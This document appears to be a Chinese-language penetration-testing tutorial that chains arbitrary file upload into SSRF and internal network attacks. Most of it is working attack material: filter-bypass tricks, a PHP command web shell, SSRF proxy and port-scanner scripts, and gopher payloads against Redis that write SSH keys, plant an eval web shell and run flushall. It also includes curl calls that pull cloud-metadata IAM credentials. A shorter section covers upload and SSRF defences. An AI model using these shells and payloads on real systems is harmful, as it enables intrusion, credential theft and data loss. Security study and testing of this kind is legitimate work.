1. 漏洞链攻击路径解析
这个典型的Web安全攻击链展示了从表面漏洞到内网渗透的完整路径。我们先从最基础的任意文件上传漏洞入手,逐步分析如何通过层层绕过最终实现内网突破。
任意文件上传漏洞通常出现在缺乏严格校验的文件上传接口中,攻击者通过精心构造的文件名、文件头或文件内容绕过前端校验,将恶意文件上传至服务器。而SSRF(服务端请求伪造)则允许攻击者通过服务器发起内部请求,探测或攻击内网服务。
1.1 文件上传Bypass技术详解
现代Web应用通常会采用多种防御措施来防止任意文件上传,以下是常见的绕过方式:
文件类型校验绕过:
- 修改Content-Type:将
application/php改为image/jpeg - 添加GIF文件头:在PHP文件前添加
GIF89a标记 - 双扩展名攻击:
shell.php.jpg
- 修改Content-Type:将
前端校验绕过:
<!-- 修改前端JS校验逻辑 --> <form onsubmit="return true"> <!-- 或直接使用Burp Suite拦截修改请求 -->解析漏洞利用:
- Apache解析漏洞:
shell.php.xxx - IIS6.0分号漏洞:
shell.asp;.jpg - Nginx畸形路径:
/uploadfiles/shell.jpg/../shell.php
- Apache解析漏洞:
实战经验:遇到黑名单过滤时,尝试使用冷门扩展名如
.phtml、.phps、.inc等。我曾在一个项目中通过.php5扩展名成功绕过过滤。
1.2 从文件上传到SSRF的跳板搭建
获得文件上传权限后,通常会部署以下类型的攻击载荷:
基础WebShell:
<?php system($_GET['cmd']);?>SSRF代理脚本:
<?php $url = $_GET['url']; echo file_get_contents($url); ?>高级端口扫描器:
<?php $ip = $_GET['ip']; $ports = explode(',', $_GET['ports']); foreach($ports as $port) { $fp = @fsockopen($ip, $port, $errno, $errstr, 0.5); if($fp) echo "$port open\n"; } ?>
在实际渗透测试中,我通常会先上传一个简单的文件包含型WebShell,再通过它上传更复杂的SSRF工具包。这种分阶段的方式可以避免一次性上传过大文件引起安全设备报警。
2. SSRF内网渗透实战
2.1 内网探测技术
通过SSRF进行内网探测时,需要关注以下几个关键点:
基础信息收集:
# 获取服务器基本信息 curl http://localhost/server-info # 读取环境变量 curl http://localhost/cgi-bin/env.cgi端口扫描策略:
- 先扫描常见服务端口(80, 443, 22, 3306, 6379)
- 再扫描管理后台端口(8080, 8443, 9000)
- 最后扫描内网特殊服务(389, 445, 5985)
高效扫描技巧:
<?php $ports = [80,443,22,3306,6379]; $results = []; foreach($ports as $port) { $start = microtime(true); $fp = @fsockopen('127.0.0.1', $port, $errno, $errstr, 1); $latency = round((microtime(true)-$start)*1000); if($fp) { fclose($fp); $results[$port] = "OPEN ($latency ms)"; } else { $results[$port] = "CLOSED"; } } print_r($results); ?>
2.2 协议利用与绕过技巧
不同协议在内网渗透中有不同用途:
| 协议 | 用途 | 示例Payload |
|---|---|---|
| http | 访问Web服务 | http://192.168.1.1/admin |
| file | 读取本地文件 | file:///etc/passwd |
| dict | 操作Redis等服务 | dict://127.0.0.1:6379/info |
| gopher | 发送任意TCP数据包 | gopher://127.0.0.1:6379/_... |
| ftp | 文件传输或爆破 | ftp://user:pass@192.168.1.1 |
IP绕过技巧:
- 十进制IP:
http://2130706433=127.0.0.1 - 八进制IP:
http://0177.0.0.1=127.0.0.1 - 域名指向:
http://localtest.me→127.0.0.1
我曾在一个严格过滤IP的项目中,通过http://0x7f000001这种十六进制表示法成功绕过限制访问到内网Redis服务。
2.3 内网服务攻击案例
发现内网Redis服务后的典型攻击流程:
信息收集:
curl 'dict://127.0.0.1:6379/info'未授权访问利用:
# 写入SSH公钥 curl 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$...' # 定时任务反弹Shell curl 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a...'权限维持:
# 写入WebShell curl 'gopher://127.0.0.1:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$31%0d%0a%3C?php%20eval($_GET[cmd])?%3E%0d%0a*1%0d%0a$4%0d%0asave%0d%0a'
重要提示:在内网渗透测试中,对Redis等服务的操作要格外小心,flushall等命令可能导致业务数据丢失。建议先在测试环境验证payload。
3. 防御与检测方案
3.1 文件上传漏洞防护
白名单校验:
$allowed = ['jpg', 'png', 'gif']; $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if(!in_array($ext, $allowed)) die('Invalid file type');内容检测:
- 使用
getimagesize()验证图片真实性 - 对上传文件进行病毒扫描
- 重命名上传文件(避免用户控制文件名)
- 使用
存储安全:
- 上传目录设置为不可执行
- 使用CDN分发静态文件
- 定期审计上传目录
3.2 SSRF防护策略
输入验证:
$url = $_GET['url']; $parsed = parse_url($url); if(in_array($parsed['host'], ['localhost', '127.0.0.1'])) { die('Internal service access denied'); }网络层防护:
- 限制服务器出站连接(仅允许访问必要的外部服务)
- 使用网络隔离(将不同服务部署在不同VLAN)
- 禁用不必要的协议处理(如gopher、dict)
应用层防护:
- 使用DNS缓存防止DNS重绑定
- 实施请求目标白名单
- 记录和监控异常请求模式
在一次企业级渗透测试中,我们发现即使应用层做了完善防护,但服务器网络配置不当(允许任意出站连接)导致SSRF仍然可以攻击内网其他系统。这提醒我们防御需要多层次配合。
4. 高级绕过与新型攻击手法
4.1 DNS重绑定攻击
DNS重绑定攻击流程:
- 攻击者控制一个域名(如evil.com),设置TTL为0
- 第一次解析返回合法IP(如1.1.1.1)
- 服务器校验通过后,立即修改DNS记录指向内网IP(如192.168.1.1)
- 服务器实际请求时访问到内网资源
防御方案:
// 使用DNS缓存 $ip = gethostbyname(parse_url($url, PHP_URL_HOST)); $_SESSION['dns_cache'][$host] = $ip;4.2 云环境元数据服务攻击
在AWS、阿里云等环境中,通过访问元数据API可能获取敏感信息:
# AWS元数据 curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # 阿里云元数据 curl http://100.100.100.200/latest/meta-data/ram/security-credentials/防护建议:
- 禁用实例元数据服务
- 使用最新版云代理
- 配置严格的网络策略
4.3 新型协议利用
- HTTP/2走私:利用协议解析差异绕过防护
- QUIC协议:基于UDP的HTTP/3可能绕过传统防护
- WebSocket:通过升级协议建立持久连接
在一次红队演练中,我们通过WebSocket协议成功绕过了传统的WAF防护,建立了到内网的持久化通道。这提醒我们安全防护需要跟上协议发展。